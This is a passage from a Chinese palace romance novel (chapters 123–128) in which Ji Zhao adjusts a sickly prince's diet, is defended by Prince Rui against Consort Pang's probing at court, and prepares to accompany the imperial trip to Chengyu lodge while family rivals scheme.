纪昭忽然道:“既然三皇子殿下想成为睿亲王这样的人,就得开始勤练武艺才是。” 三皇子萧澈黯然:“我说了,时常生病,骑射功夫落下很多。” 纪昭道:“我这里有个法子,可以强身健体。” 皇后眼睛亮了亮:“当真?” 纪昭笑道:“自然是真的。不过有违三皇子从前的习惯。” 皇后连忙道:“这个不碍事。只要能让澈儿强健身体就行。” 纪昭犹豫:“这个是个土办法,但我看军营里的新兵都是这么做的。” 于是她将新兵在军营中的饮食说了。 末了,她说:“那些新兵一个月就能从面黄肌瘦变成强健如牛,不但能扛得动大刀,也能拉得住骏马。” 皇后半信半疑:“当真?” 纪昭:“当然是真的。我也是这么练出来的。只是后来为了练枪法,学了内力法门。” 皇后是见过纪昭的勇猛。 她一人一枪,悍不畏死地与刺客冲杀,那场景太刺激太血腥了。 皇后毕生难忘。 所以纪昭这么说,皇后她信了。 “好,那就按着你的法子试试看。”皇后说着念了一句佛,“佛主要怪,就怪本宫吧。” 三皇子萧澈不忍心:“母后,还是降罪给儿臣吧。要么,儿臣不要习武了。不习武就不会杀生了。” 他说这话的时候,眼里都是遗憾。 皇后摇头:“不,在母后心里,澈儿能身子康健比什么都好。” 纪昭又道:“不过三皇子体弱是事实,而且从小到大吃的太过精细,不能一下子吃得太糙,要慢慢来。” 皇后点头。 这事就这么定了下来。 纪昭去与小厨房说怎么做膳食。 …… 小厨房,纪昭正在看着炖肉的火候。 突然,有人冷不丁在她身后说话。 “你倒是忙得很。哪里来的闲工夫管三皇子的膳食?” 纪昭看火正入神,冷不丁被声音吓到。 她下意识蹭的站起身。 这下坏了,整个人撞到了身后的胸口上。“咚”地一声闷响,纪昭捂住了脑袋,眼前黑了黑。 慌乱中,她抓住了身边人的袖子。 来人恼火想要推开,却被她带得往前扑去。 “你……” 余下的话都闷在喉咙中,因为两人扑在一起,十分狼狈。 外面的公公赶紧进来,当瞧见两人滚在一起后,捂着眼“哎呦哎呦”地退了出去。 纪昭缓了半天,才懵懵坐起身。 “你……” 身下有人咬牙切齿。 纪昭看清楚带倒的人后,脑子“嗡”地一下子。 “睿亲王……” 萧烨坐起身,想推她又觉得对一个女人出手不好。 他冷着脸:“快些起来,你压到孤的腿了!” 纪昭这才发现自己竟然坐在了萧烨的腿上,还是那条坏了的腿。 她急急忙忙起身。 萧烨却黑了脸。这女人逃得这么快,把他落下了。 纪昭讪笑:“我去喊人来。” 萧烨冷冷盯着她:“你不愿意扶孤?” 纪昭:“……” 纪昭俯下身,将他的手搭在自己的肩上,一用力便将他撑起。 一股冷冽的檀香传入鼻间,还带着男子身上若有若无的陌生气息。 耳朵渐渐红了,脸也热了起来。 纪昭扶好萧烨便退后几步:“殿下怎么到了小厨房?” 萧烨理了理袍角,一抬头见她耳垂通红,不知不觉唇角微勾。 他说:“自然是来寻你。” 第124章他是个顶天立地的男人 纪昭迅速瞧了他一眼,见萧烨并没有责怪的意思。 她道:“殿下,我们还是出去说吧。” 萧烨点了点头。 两人一起出了小厨房。到了花园亭子。 彼时四月初,草长莺飞,草木翠秀,花儿盛开得十分娇艳。 纪昭细细解释了自己为何要给六皇子调身体。 萧烨奇怪瞧了她一眼:“这对你有什么好处?” 纪昭:“没什么特别的好处。惟愿皇后娘娘不再担心六皇子殿下,再者,六皇子殿下是个好孩子。” 萧烨哼了一声,算是勉强接受了这个缘由。 他警告道:“此事做的好你是应该的。出了岔子,你便大祸临头。你确定要这么做?” 纪昭想了想,点头:“想试试。” 萧烨冷冷道:“既然要做便专心点。不然到时候出了事,可不要连累孤。” 他话虽然这么说,但看得出他并不太在意。 纪昭又提起那日在扶风苑遇到的事。 萧烨倒是对齐王出现没什么特别的警惕。纪昭有心要点得更深点,但却不敢冒险。 她总不能直白告诉萧烨,她怀疑齐王与当年战场上那一战有关。 那萧烨就算是再信任她,都得将她绑起来细细拷问一番。 萧烨注意力都在呼儿托木上。 他缓缓道:“乌国人不会水,却敢上画舫看风景,一定有所图。” 纪昭问:“图什么?” 萧烨眼神沉沉:“京城地形。” 纪昭怵然而惊。 果然是图谋够深的。 纪昭:“他们想闹事?” 萧烨:“不管闹事不闹事,他们肯定不怀好心。” 纪昭暗暗记下,又问起对三皇子萧钧的惩罚。 萧烨:“他?让他多困几天。不然孤瞧着他这两年行事越发张狂。” 纪昭劝:“可是庞贵妃一党会将殿下当做敌人对付。倒不是殿下对付不了他们,是没必要。” “狗急跳墙,人急了会做出一些事来。还不如这个人情由殿下来做,庞妃和三皇子面子上也必须承殿下的人情。” 萧烨斜睨她一眼:“你倒真的操心孤的处境。” 纪昭笑:“那是自然。殿下是我的靠山。” 对于纪昭的建议,萧烨没说接受或不接受,不过看样子是听了几分。 两人在亭子里说话。 过一会儿,黄尚宫过来请两人去殿中用晚膳。 纪昭这才发现天色已晚了。 她有心想告辞,萧烨却道:“既然进宫,便一起用膳再走。到时候孤送你出宫。” 黄尚宫含笑道:“殿下一番心意,纪大小姐不要辜负了。” 这话听着没毛病,但纪昭瞧着黄尚宫那眼神不算清白。 搞得纪昭也多疑瞧了萧烨一眼。 萧烨站起身,拄着手杖走在前头。纪昭慢吞吞跟在他身后。两人一前一后朝着殿中走去。 皇后已经等待多时。 她脸上有笑容,看着萧烨和纪昭的眼神很慈和。 皇后对身边的孙尚宫笑道:“一看就是有夫妻相的。” 孙尚宫是皇后身边另一心腹,笑道:“皇后娘娘说得极对。老奴还没瞧见睿亲王殿下对哪家千金如此上心。” 皇后笑晏晏:“可不是。本宫还生怕自己做错了媒人,没想到两人是合适的。” 她满意得不得了,忍不住夸了自己有远见。 她们说话不避人。萧烨听见了,纪昭也听见了。 纪昭害臊低了头。 萧烨却仿佛没听见似的,慢慢走了过来见了皇后。 皇后摆的是家宴,菜肴并不隆重,但海陆都有。又因皇后茹素,席面上的素菜多了些。 萧烨微微蹙了眉。 皇后问:“菜式可合口味。” 萧烨:“肉多加点。” 皇后笑道:“是,忘了十四皇叔是爱吃肉的。” 她吩咐让人多加点肉菜,上了红烧鹿肉、水晶肘子。 纪昭忍不住瞧了一眼萧烨。 这两道菜她怀疑是萧烨替她交代的。不过看见萧烨也举了筷子夹了两筷,那点疑心她打消了。 这两道菜御厨做的很拿手,也许萧烨也爱吃。 纪昭放心吃了起来。 皇家用膳讲究“食不言寝不语”,所以一顿晚膳用得寂静无声,里外伺候的宫人一声咳嗽都没听见。 用完了膳食,宫人端来茶水漱口。 等漱口后,菜肴撤掉,奉上香茶,几人才继续说话。 萧烨对皇后道:“三皇子的膳食是要改改,不然长不高。身体也差。” 皇后被吓了一跳:“你也这样说。” 萧烨:“嗯。从前不说是不想多管闲事。如今有人管了闲事,孤不得不再提一下,免得皇后娘娘没放在心上。” 那个“某人”指的是纪昭。 纪昭脸热了下。 萧烨在责怪她多管闲事,谁都听得出来。 但她没想到的是,这番话听在别人耳朵中却不是责怪的意思,反而像是情侣间的打情骂俏。 旁边的太监、尚宫们,还有女史宫女们都纷纷抿嘴偷笑。 偷笑自己吃到了一嘴的甜瓜。 皇后苦笑:“原来澈儿体弱多病,都是本宫这个做娘的没尽责。” 纪昭安慰:“皇后娘娘不要自责。娘娘照顾三皇子殿下已经够细心了。是小女太多嘴了。” 皇后摇头:“不,你不是多嘴。你是真心实意帮本宫。” 改三皇子萧澈的膳食这件事,对纪昭没有任何好处,反而会惹来麻烦。 但纪昭还是这么做了,足见是没掺杂一点利益。 而萧烨又提了一句,便是让皇后领纪昭的情。 皇后想通,对纪昭越看越是顺眼。 她现在越发相信纪昭是有福之女。救了驾,还帮了自己大忙。 这门亲事做的可真是一本万利。 正说话间,外间传皇帝驾到,庞贵妃也来了。 皇后面色紧了紧,连忙起身去迎驾。 萧烨和纪昭走在后面。 纪昭心里揣摩不透,便紧张起来。 萧烨突然道:“等会儿你不需要说太多话。问了也不要说太多。不然会引火上身。” “孤挡着便是。” 他说完,拄着手杖慢慢走到她前头。 纪昭瞧着他高大的背影,突然想起了前世萧烨御驾亲征时,披着金灿灿的铠甲傲然雄视面前数十万乌压压的乌国骑兵。 他是个顶天立地的男人。 前世是,今生也是。 第125章 庞贵妃的试探 皇帝和庞贵妃一起都来到中宫这事非常不寻常。 皇后紧张,宫人们也紧张万分。唯独睿亲王萧烨什么事都没有似的,很沉稳地领着纪昭上前见礼。 皇帝先和皇后寒暄几句,然后与萧烨说了说。最后才问了纪昭家常,纪昭一一答了。 她对答如流,端庄沉稳,皇帝很是赞赏。 庞贵妃笑着道:“纪姑娘是个懂事的,经常进宫给皇后娘娘请安。不过永福宫那边,纪姑娘却少去。” 这话听得出埋怨的意思。 纪昭不知道怎么回。因为她摸不透庞贵妃的意思。她很怕回答了就踩了某个设下的陷阱。 不过不回答也是一种得罪——藐视庞贵妃的罪过。 纪昭正要回答。 萧烨出声了:“贵妃不要喊她过去,她不太懂礼数。” 纪昭:“……” 庞贵妃笑了笑:“怎么会呢?纪姑娘是与皇后亲厚,与本宫不太亲厚罢了。” 这话有点毒辣。说着像是委屈,其实暗暗嘲讽了纪昭趋炎附势只讨好皇后,看轻贵妃。 皇后神情变了变,忍不住看向庞贵妃。 看样子庞贵妃是暗中怀了心思,要从纪昭下手。 萧烨突然道:“皇上也多去了永福宫,贵妃还不满足吗?” 庞贵妃脸色变了变,十分尴尬。 皇帝轻咳一声:“十四,怎么说话的呢?” 萧烨不在意:“我本来说话就不太好听。贵妃非要说她,我自然是要替她出头。” 这下满殿的宫人都低头憋笑。 皇帝哈哈笑了,对庞贵妃说:“你瞧,十四护着他未来的媳妇。” 庞贵妃解了围,笑道:“是,是妾身不会说话,惹得睿亲王护媳妇了。” 殿中的人都笑了起来。 刚才紧绷的气氛一下子缓解了。 纪昭被打趣,不由红了脸。 庞贵妃再也不能继续在这个话题上继续刁难纪昭。她提起了另一件事,寒食节到了。 皇后道:“寒食节宫里已经准备起来了,到时候祭过太庙就可以出游踏青。” 庞贵妃笑道:“往年都是去南山行馆,今年要不要换个地方?” 她对皇上提议:“臣妾觉得承御行馆风景也极不错。春花浪漫,又是深山,此时桃花才刚刚盛开。” 皇帝犹豫不决。 他看向睿亲王萧烨:“十四觉得呢?” 萧烨瞧了庞贵妃一眼:“贵妃娘娘觉得承御行馆不错,那应该是不错的。” 庞贵妃拊掌笑道:“难得十四皇叔与臣妾的看法相同。” 皇帝见宠妃高兴,也高兴起来:“说起来承御行馆也五六年没去过,故地重游也是极不错的。” 几人说话,纪昭插不上嘴。 她听着承御行馆,心里涌起一股不安来。 前世皇帝也去了承御行馆,但好像去匆匆来匆匆的,没有什么风波。而纪昭那个时候还在西山温泉别苑,消息闭塞。 她只知道自己回京后,宫里就传出皇帝龙体抱恙的消息。 所以前世在承御行馆有没有发生事,或者发生了不好的事,纪昭一概不知。 不知,所以担心。 纪昭总觉得庞贵妃不会无缘无故提议去承御行馆。 一番交谈,庞贵妃十分沉得住气,一直没提起如何宽恕赦免三皇子萧钧的罪过。 纪昭很是佩服她的城府。 果然能盛宠十余年,这份涵养是常人所不能及的。 皇帝闲话家常就回了御书房。庞贵妃也告辞。 离开之前,庞贵妃十分亲热握着纪昭的手:“以后入宫也多多来永福宫走动。以后都是一家人。” 纪昭应是。 等送了庞贵妃离开,皇后松了口气:“她倒是没说什么。” 皇后口中的“她”指的是庞贵妃。 萧烨十分冷淡:“她怎么没说?她提醒皇帝寒食节到了。” 皇后没反应过来,脸色迷茫。 纪昭冷不丁想到了:“寒食节要祭拜太庙。祭拜太庙的时候所有皇子都要出现,到时候皇上不能拘着三皇子,庞贵妃也能顺便求情。” 皇后立刻明白了:“原来是在这儿等着。” 她苦笑摇头:“庞贵妃一颗心七窍玲珑,她是在试探。” 萧烨对皇后道:“皇后娘娘不要担心。这事我有分寸。” 他说完带着纪昭也告辞了。 在出宫的马车上,萧烨看向纪昭,皱眉问:“方才看你好像想到了什么为难的地方却不说。” 纪昭斟酌了半天,轻声问:“殿下真的觉得承御行馆去了没事发生?” 萧烨很聪明,一下子明白了她的想法。 他道:“承御行馆建成到现在六年,皇帝只去了一次。那边地处深山,前面是陡峭的山路,行馆后面是悬崖。有心之人很难靠近。” 纪昭松了口气:“那就好。” 萧烨道:“你担心又有人要行刺?” 纪昭点头:“当然。算上裕华宫妖僧作乱,已经两次了。两次都是针对皇帝,所以幕后之人没抓出来,我始终不安心。” 萧烨:“不安心的不只有你一人。皇帝想到这些事也私下很不安心,只是他不能说也不能让内厂大肆搜捕。” 他又道:“知道孤为什么明知道庞贵妃在试探,为什么不反对?” 纪昭摇头。 萧烨眸色深深:“因为孤想看看放出三皇子后,庞贵妃究竟要搞什么事。” 纪昭听了只觉得萧烨狂妄又自负。 不过这也是他向来的性子——无所畏惧,睥睨鬼魅魍魉。 纪昭想了想,委婉提点:“皇帝要出行,殿下要不把裴神医带上。” 萧烨:“为什么?” 纪昭犹豫了半天才说:“因为小女瞧着皇上面色不太好,而且承御行馆又是在深山中,万一……” 萧烨似笑非笑:“你倒是很关注旁人的身体康健。三皇子管了还不够,还管到了皇帝。” 纪昭大窘:“这个,不是……” 萧烨道:“会有四名太医随御驾出行。你不用操心了。” 两人说着话渐渐出了皇宫。 外面已是日暮,落日融金,彩霞洒遍天际。层层叠叠的云彩十分美丽。 纪昭忍不住发出感叹:“太美了。” 萧烨顺着她的目光从车帘外忘了一眼,正好一缕旖旎霞光落在纪昭的脸上。 鬓角碎发微微随风轻扬,流苏上的细珍珠落在脸颊上,越发衬得肌肤如雪。 明丽的容貌鲜艳又鲜活,极美。 萧烨收回目光,落在了左腿上。 纪昭欣赏完晚霞,正好瞧见纪府到了。 她对萧烨道:“侯府到了,多谢殿下相送。” 第126章 萧烨让她随行去行宫 纪昭说完发现萧烨眸色深深瞧着自己,没有反应。 她尴尬低头,想下车。 萧烨突然道:“寒食节你与谁一起出游?” 纪昭怔愣半天才发现他是与自己说话。 她道:“府中没有安排,前些年是回老家扫墓,今年应该也会遵循旧例。” 萧烨淡淡道:“回老家没什么用,还不如一起去承御行宫。” 纪昭又怔愣住,这个可以的吗? 她还不是睿亲王妃,严格上来说不是皇家之人。而寒食节一般都是和皇家有姻亲关系的世家贵族才能参与。 萧烨见她一愣一愣的,不悦:“你如今身份不同,自然不能随心所欲。” 他的突然变脸令纪昭捉摸不透。 刚才还好好的,怎么突然恼了。 纪昭搞不明白,索性不问,轻声答应了下来。 她下了马车,正要进府。突然前边一队人大步走来。 纪昭瞧着他们面熟,认出他们的身份——是呼儿托木的随从侍卫。 他们到了纪昭面前,跪下:“我等奉大王子殿下之命,给纪家大小姐送礼物。” 纪昭蹙眉:“你们怎么不进去?” 侍卫道:“大王子有命令,必须亲手给纪家大小姐。” 于是他们呈上了厚礼。 大中小三个箱子。小箱子是琳琅满目的金银珠宝和首饰。金银很大,铸形粗犷,首饰也是大多玛瑙、绿松石、各色大宝石,主打一个量大,不精致。 中箱子打开,目测十几套乌国贵族少女穿戴的衣衫。 大箱子里面则是各种皮子。虎皮、狐皮、貂皮都有。 好大的手笔。 纪昭暗暗吃惊,随即又头疼。 这些礼收也不是,不收也不是。收了便像是自己与呼儿托木有什么首尾,不收又不给呼儿托木面子。 纪昭沉吟。 身后萧烨下了马车走来,嗓音沉冷:“回去转告你们大王子,这些乌国土特产,本王替王妃收了。改日再请大王子一起喝酒宴饮。” 呼儿托木的侍卫们听不出这话有什么深意。 他们点头:“那就多谢睿亲王殿下。还有,大王子殿下还想请纪家大小姐一起出去打猎游玩。” 纪昭:“……” 萧烨语气冰冷:“她没空。” 侍卫们对视一眼,便一声不吭走了。 等他们身影不见了,纪昭松了口气:“幸亏殿下在这,不然小女都不知道怎么推辞。” “为什么要推辞?”萧烨面色不变,“乌国抢了我们那么多年。” 言下之意这些东西都是赃物。 瞬间,纪昭对这三箱东西是看一眼都觉得恶心。 她道:“那殿下替我收回去,换成粮草犒劳军士吧。” 萧烨道:“他们不用。不过你要是不喜欢,都换成米面粮去接济边境流民也算是积点德。” 纪昭点头:“这主意好。” 萧烨见她答应得爽快,面上的冷色缓和许多。 他正要走,又突然道:“先前给你的人要用上。” 纪昭疑惑。 萧烨冷淡道:“你如今身份不同以往,有些事不需要亲自出手,吩咐一声让手下的人打了出去便是。” 纪昭恍然大悟。 萧烨给了自己不少人,两个武功深藏不露的太监,还有八位十分勇猛的侍卫。 不过纪昭习惯了独来独往,所以这些人养在大哥纪荣的军营中。 萧烨又道:“去行宫可以都带上。” 纪昭点头:“好。” 萧烨吩咐完,这才上了马车。 丫鬟见他们说完话,才敢上前说话。 晚意窃笑:“还没过门呢。睿亲王殿下就把大小姐护得这么紧。” 纪昭脸热:“胡说。他这是帮我处理麻烦事。我毕竟是准亲王妃,与他有关。” 晚秋笑嘻嘻的:“哪儿啊。刚才那些乌国蛮子说是大王子送的,睿亲王殿下的脸黑的和锅底似的。要不是在这大街上,恐怕他要让人打死这些蛮子。” 纪昭无言以对。 刚才萧烨看起来的确很恼火。不过她没往男女方面想。 她道:“你们都别打趣了。让人把这些箱子都抬进去,想想怎么让人处理换了银钱。” 两个丫鬟喜滋滋让人抬箱子。 而纪昭回了府中,去见了父亲纪世德商量寒食节的事。 纪世德正在二姨娘房中。 一个多月没注意,二姨娘的肚子都快显怀了。她气色很好,身上衣衫,头上首饰都是新的。 看样子这两个月二姨娘很得纪世德的宠爱。 二姨娘见纪昭来了,热情招呼茶水,果点。 纪昭与纪世德说了睿亲王萧烨让她随行去行宫的话。 纪世德很是高兴又得意:“这个好!殿下把你放心上,你沾光,也就是侯府沾光。” 纪昭:“女儿想问问,寒食节父亲怎么安排?” 纪世德向来对这类节日没有什么想法,一挥手:“回老家祭祖扫墓。如今侯府又蒙了皇恩,自然是要回老家敬告祖宗。” 纪昭想了想,不是很安心。 她担心自己离府了,大夫人和白沁雪要作妖。 白沁雪已经偷偷出府去见了齐王,接下来还不知道要闹哪样。 纪昭心里想着对策,对纪世德道:“那我去与祖母说说。” 她又道:“我又去宫里求了皇后,请了梁太医来给二哥瞧腿。现在应该诊治完了,我也去瞧瞧。” 这件事是功劳,她得提醒父亲记得自己的功劳。 纪世德略有尴尬,点头。 纪昭出了二姨娘的院子,想了想去了二哥纪蓉的院子。 纪蓉刚上完药,脸色很差。 大夫人在外屋中擦眼泪。她见纪昭来了,别过脸不愿看她。 倒是阮氏出来迎接,让人拿了茶水和点心。 纪昭对阮氏道:“二嫂如今有了身子,要多歇歇。” 阮氏摸了摸还很平坦的小腹,含笑道:“多谢大姑娘关心。我打算等肚子大了点回娘家养胎。” 大夫人出声:“好不容易怀了一胎,怎么就回娘家养胎?不知道的当婆家没有人帮衬你。” 阮氏怯怯道:“婆母息怒,儿媳这几日害口,想着吃家中做的饭菜。” 大夫人冷声:“只是吃食方面,你要么忍忍,要么就让你娘家的厨子过来做。” 阮氏不说话了。 纪昭含笑解围:“母亲,二哥还伤着,二嫂又怀着身子,一来二去院子里人手就不够了。倒不如让二嫂归宁,安心养胎。” 大夫人冷笑:“你倒是会安排。” 纪昭知道她心烦,笑了笑:“母亲当初怀孩子不也是回娘家养胎吗?女儿当这是个惯例呢。” 大夫人听了怵然而惊。 经过几次,大夫人越发疑心纪昭知道了什么。 但日思夜想,她觉得不可能出错。 当年她偷偷生下白沁雪,纪昭才刚一岁出头。小小奶娃能知道什么? 况且后来她把知情的人都暗中处理了,绝对不可能泄露。 第127章 白沁雪答应随行去行宫 大夫人惊疑不定,便没反驳纪昭的话。 她想了想,又道:“你二哥的腿还得小心照顾。你去与皇后求一求,看有什么好药膏。” 纪昭道:“梁太医会开方子的,母亲不用担心。”‘大夫人的话被憋了回去。 她阴阳怪气讥讽:“若不是你,梁太医也不能来。你二哥得承你的情。” 纪昭很平静:“母亲言重了。不过深究了是这个道理。” 大夫人气的都笑了:“你还真的好意思说。若不是你忤逆父母,平白的怎么会招了这等祸事?” 纪昭故作吃惊:“母亲,您怎么能这么说?明明是二哥犯了错烧了自己院子的库房,又怂恿父亲母亲要在祠堂打我。他才是那个祸头子。” “女儿大度,以德报怨,女儿有什么错呢?” 大夫人气得说不出话来:“你,你……” 她有苦难言。 纪昭见大夫人气得脸发红,关切道:“母亲,您身子也不好,别为了二哥生气。” 大夫人:“我怎么是为了你二哥生气?分明是你来气我。……” 纪昭道:“女儿是没错的。母亲就不要往女儿头上扣盆子了。” “今日女儿来是有件好事要与母亲商量。” 大夫人狐疑瞧着她:“什么好事?” 纪昭没有藏着掖着,说出了自己即将随行御驾去承御行宫。 大夫人冷哼:“你去就去吧。与我说什么?” 纪昭微微含笑:“女儿一个人出远门,有点害怕,想找府中几个姐妹一起去。若是三弟纪蕴有空,说不定也能带上。” 大夫人脑子没拐过弯来,低头细想纪昭这么做到底是为了什么。 她想了半天,问:“你意思是?” 纪昭含笑提醒:“女儿想让表妹一起去,做个伴。” 大夫人听到这话先是一喜,随后一惊。 她狐疑盯着纪昭,见她笑容晏晏的,仿佛刚才的话是自己做梦。 大夫人迟疑:“你说的是沁雪?她还在闭门思过呢。” 纪昭道:“闭门思过也思了好些日子了。老是拘着沁雪表妹也不是事。” 大夫人自然不相信纪昭是好心。 她冷笑:“你有什么条件?” 纪昭心里都要为自己母亲鼓掌了。 刚才自己点得那么清楚,大夫人都没反应过来,她一度怀疑大夫人的脑子坏了。 纪昭十分平静:“没什么条件。女儿只是想让沁雪表妹毫无怨言,安安稳稳出嫁。” 大夫人冷笑:“罢了,我知道问你也不说。你提这事很好,我与她说说。” 纪昭道:“母亲也不要想太多了。女儿没那么坏心眼。只要沁雪表妹不与女儿争,一切都好说。” 大夫人不语,眼底的神色是深深的怀疑和不信任。 纪昭也心知肚明。 自从回府后,母女明争暗斗这么久,早就不可能相信对方。 不过大夫人做的也对,纪昭提议让白沁雪跟着去承御行宫,本就没存什么善心。 敌人放在眼皮子底下,比放在暗处更令人放心。 她只不过想“挟人”,让大夫人在府中不敢随便作妖。 …… 纪昭回紫棠院。 大夫人则拖着不舒服的病体到了沁芳阁。 她将纪昭提议的事说了,道:“她有坏心,但偏偏这个机会又十分难得。” 白沁雪正在画画,听了这话道:“阳谋无解。” “如果想早点攀上三皇子与庞贵妃必须趁着这个机会去露面。但如果露面,恐怕大姐姐设了什么陷阱。” 白沁雪说出“阳谋无解”后,大夫人沉默了。 曾几何时,她们是站在高位上算计着纪昭。 如今她们却只能看着纪昭出招,而自己一点办法都没。 大夫人咬牙:“要不就不要贪这个便宜,不去了。” 白沁雪低声道:“不去又十分可惜。” 她有另一层心烦意乱。 前两日她偷偷跟着纪蓉出府去了扶风苑,本想着让陈昊安排引荐她见三皇子一面。 但没想到见到了更大来头的齐王萧烁。 比起狂妄自大的三皇子萧钧,齐王萧烁的富贵与权势,还有那份城府都深深吸引着白沁雪。 况且齐王萧烁还开出让她不能抗拒的条件。 这两日白沁雪陷入天人交战中,急于想做个决定,又不敢。 大夫人催促:“你是什么意思?” 白沁雪下了决定:“我去。” 大夫人:“……” …… 纪昭回了紫棠院,吩咐找人将呼儿托木送的东西都处理换成银子。 黄尚宫道:“金银等物容易处理,皮毛也可以去铺子换钱,就是衣衫不好卖,况且被大王子知道会有麻烦。” 纪昭不明白呼儿托木特地送自己十几套乌国女人穿的衣衫是什么意思。 她懒得猜,便道:“那就放在库房里。等他回国后再拿去处理了。” 陈尚宫道:“那些首饰也可以挑一些留着,不可以全卖了。就算是卖,也得把首饰拆了分件卖了。” 她们的想法很妥当。 纪昭都采纳了。 两位嬷嬷不会害她,反而处处维护她的名声。 又说起御驾随行的事,两位嬷嬷都十分高兴。 她们知道纪昭是得宠了,进入了权力的中心,这是喜事。 纪昭若是以后飞黄腾达了,她们两位作为睿亲王妃的教养嬷嬷,那以后便一世无忧富贵了。 正说话间,沁芳阁那边来了下人道白沁雪愿意跟着纪昭去承御行宫。 纪昭点头:“既然愿意,那这两日就准备起来。我会去请懿旨。” 这件事便定了下来。 …… 纪昭在府中继续跟着两位嬷嬷学规矩。宫中规矩,天家规矩,还有各种复杂的姻亲关系。 黄嬷嬷会抽查,陈嬷嬷则是引导记忆。 纪昭很慎重,将复杂的姻亲关系写了下来。 黄嬷嬷瞧着纪昭的字,夸:“纪大小姐的字很有力。” 纪昭笑了:“是自己瞎写的。” 陈嬷嬷道:“旁人很难模仿你的字。这样也好。独一份的字体很重要。” 这话点醒了纪昭。 她想了想,越发认真写着。 …… 西正院,大夫人这几日心慌意乱,眼皮一直跳。 因为心慌,她连着两个夜都失了眠。 不知道是担心纪蓉的腿,还是忧心白沁雪着了纪昭的道。 申嬷嬷见她精气神萎靡,提议让她去佛堂念念经。 “念经有助于精心,也许大夫人需要好好想想接下来该怎么做。不要被眼前的得失乱了方寸。” 大夫人摸着心口,只觉得心慌气短。 她问:“衡阳有信吗?” 另一位年老的嬷嬷摇了摇头。 大夫人这才恍然发觉,已经近半年衡阳没来信了。 一股极其不安的预感瞬间笼罩在心头,大夫人立刻直起身:“来人,去与侯爷说……” “说什么?” 大夫人咬牙:“说寒食节,我要回娘家祭祖!” 第128章 大夫人想要回衡阳 申嬷嬷和那位年老的嬷嬷听了这话都吓了一大跳。 申嬷嬷赶紧阻止:“大夫人不可以轻举妄动。他,郎君肯定是有事要忙。” 但此时大夫人哪有这份耐心等着? 另一位年纪大的嬷嬷姓吕,她是衡阳老家来的,是七年前来了纪家。 吕嬷嬷压低声音规劝:“大夫人稍安勿躁,先让人带个话,若是没回话再去不迟。” 但大夫人已经有了这个念头,越发心急:“寒食节祭祖,名正言顺。我去了,侯爷也不会说我什么话。” 吕嬷嬷心里摇头。 从前沉稳的大夫人现在已经快被折磨疯了。她是听不进半点话来。 除非让那郎君规劝她,也许能重获斗志。 吕嬷嬷道:“大夫人别忘了您是纪府的主母,寒食节祭祖您是不能轻易回娘家,只能等侯府这祭拜完了您才能回去。” 大夫人静下心来,点了点头:“是,前后不差那么一日。不过我担心侯爷不让。” 吕嬷嬷想了想,在她耳边耳语了两句。 大夫人眼睛亮了:“可行。” 第二天一早,大夫人就去佛堂跪着念经了。 到了晌午,西正院的人去禀报纪世德。 “大夫人一早就去了佛堂,边念经边哭,情形很不好。” 纪世德经过这些事对大夫人秦氏已经少了许多恩爱,听了这话。 他不耐烦:“好好的日子又作什么妖?阿蓉不是腿伤好转了吗?昭儿也请了太医来瞧。她还有什么不顺心的?” 下人听着纪世德的抱怨,战战兢兢不敢回话。 半天才悄声道:“侯爷要不去瞧瞧?大夫人的样子不太好。” 纪世德并不愿意去。 人啊,一旦没了恩爱,做什么都没什么用。 二姨娘在旁边听了,温柔小意地端上茶,柔声劝:“侯爷就去看看吧。兴许大夫人是真的有事呢。” 纪世德哼了一声:“肯定没什么事。” 话虽这么说着,人到底是去了。 只是是午睡后才去的佛堂,大夫人已经在佛堂跪了一早上和一中午,摇摇欲坠,浑身冒着汗。 纪世德见她如此憔悴狼狈,心里到底是疼了。 “你又怎么了?” 大夫人低头只是哭,不回答。 纪世德叹气:“我知道你这些日子不得安宁,但既然孩子都大了,就睁一眼闭一只眼别管。” “昭儿虽然性子凌厉,惹得你生气,但是我们的女儿。况且她最近受皇家恩宠。我们将来都得靠她。” 纪世德以为大夫人是因为纪昭生气。 大夫人绞着帕子,梨花带雨:“侯爷,妾不是伤心这事,是昨儿梦见了母亲。母亲已经过世二十年了从没有托梦来。没想到昨夜她竟然入梦了,还说她不安稳。” 纪世德听得直皱眉:“什么意思?” 大夫人擦眼泪,可怜兮兮到:“我醒来寻思母亲一定是遭遇到什么。要么家中祭祀出了错,要么便是坟墓风水出了岔子。” 纪世德也信风水,听了这话点头。 “说来也是,你修书一封回去问问。” 大夫人道:“早上起来我就已经派了人回老家问。正好是寒食节,妾想……寒食节后回去看看。” 纪世德听了是这个事,点头。 “行,寒食节我们回乡祭祖,你虽然不能当天回去,但拜祭过纪家祖宗后我允你回去看看。” 大夫人喜极而泣:“多谢侯爷。” 纪世德心情松快:“说什么谢,我们是夫妻。” 他说着将大夫人扶起来。 两人对视一眼,各怀心思。 …… 纪昭得知大夫人要回衡阳归宁这个消息,正在学礼仪。 歇下时,她吩咐了晚意两句。晚意悄悄去办了。 到了下午,瑾娘来了。她带来弓箭。 两位嬷嬷见纪昭要练箭,不由稀奇:“从没见过世家贵女练武。” 纪昭笑道:“要随行去承御行宫,怕有时候要与人骑射玩,所以特地练练。” 黄嬷嬷道:“纪大小姐想错了。贵人们闲时喜欢玩投壶、猜谜,倒是很少喜欢如此激烈的骑射。” 陈嬷嬷却道:“不过睿亲王应该喜欢。” 纪昭含笑:“是,睿亲王的确很喜欢骑马射箭。” 两位嬷嬷都意味深长笑着。 纪昭随她们想,甚至还迎合她们的想法,误导方向。 两世为人,她早就换了性子。有些事不需要旁人认同,也不要旁人看法。她只要做自己想做的事。 练了一个时辰,射中是十枝有九枝中靶心。 瑾娘赞许点头:“臂力比从前好,很稳。准头也很好。” 纪昭擦了擦汗:“内力有,但是不够。” 瑾娘道:“慢慢来,不能一口气吃成胖子。练太狠了会岔了真气。” 纪昭点头,放了弓箭休息。 她问:“我眼下这骑射功夫和乌国人比,你觉得怎么样?” 瑾娘想了一会儿,摇头:“如果是寻常乌国士兵,以你的功力和准头,只够五成。” 纪昭失望:“那更不用说能比得上呼儿托木身边的护卫了。” 她练射箭是因为在扶风苑时,瞧见了呼儿托木侍卫们射死齐王侍卫的精准和狠辣。 那种随意搭弓引箭,就能一箭封喉的样子,让她印象极其深刻。 瑾娘见纪昭失望,难得笑了:“你与他们比什么?他们是从小在马背上长大,吃饭睡觉身边都摸着弓箭。要是骑射不精是活不到成年的。” “不要拿自己的短处与旁人比长处,比了只会丧失信心。” 纪昭若有所思点头。 瑾娘又道:“不过话说回来,你还是得练骑射。毕竟长枪厉害,射箭功夫再厉害,远近两种武器都精通,那便无敌了。” 纪昭一听又觉得浑身血热了。 